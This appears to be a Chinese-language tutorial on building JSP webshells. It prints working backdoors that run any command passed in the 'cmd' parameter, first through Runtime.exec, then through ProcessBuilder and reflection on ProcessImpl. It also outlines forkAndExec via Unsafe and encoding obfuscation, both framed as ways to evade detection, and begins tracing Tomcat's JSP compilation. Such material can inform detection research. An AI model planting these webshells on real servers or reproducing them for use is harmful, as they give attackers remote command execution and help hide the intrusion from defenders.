最普通的webshell
<%
// original WebShell
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
InputStream inputStream = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String res = null;
while ((res = bufferedReader.readLine()) != null) {
response.getWriter().write(res);
}
}
%>
直接是通过get传参之后, 通过使用Runtime.getRuntime().exec()
执行命令
这种webshell很容易被检测,Runtime.getRuntime().exec()具有很强的shell特征
Runtime.getRuntime被禁用,换用其他执行命令的方式进行制作shell,(虽然也很容易被查杀
<%
// original WebShell
String cmd = request.getParameter("cmd");
if (cmd != null) {
// ProcessBuilder
Process process = new ProcessBuilder(new String[]{cmd}).start();
InputStream inputStream = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String res = "";
while ((res = bufferedReader.readLine()) != null) {
response.getWriter().write(res);
}
}
%>
同样也可以通过反射执行ProcessImpl#start
方法进行命令执行
// ProcessImpl#start()
Class<?> aClass = Class.forName("java.lang.ProcessImpl");
Method start = aClass.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
start.setAccessible(true);
Process process = (Process) start.invoke(null, new String[]{cmd}, null, ".", null, true);
上面是在windows环境下的执行,在Unix下的系统是使用的UNIXProcess类
类似的我们可以
构造UNIXProcess/ProcessImpl实例进行命令执行
或者更底层的通过Unsafe进行类实例的创建以及反射调用Native方法forkAndExec
进行命令执行
最常见的混淆就是通过编码来进行webshell的隐藏
对于JSP的解析流程
在请求一个jsp页面时,如果是首次jsp页面的访问将会对jsp页面进行编译生成一个class文件,之后封装成一个JspServlet,通过调用他的service方法处理请求,特别的,如果不是首次访问jsp文件,如果没有更改将不会再次进行编译操作,直接使用之前的JspServlet进行调用
简单跟进一下Jsp的解析过程以及对编码的判断
在JspServletWrapper#service
方法中通过compile
方法进入编译流程
默认使用使用JDTCompiler
这个编译器进行编译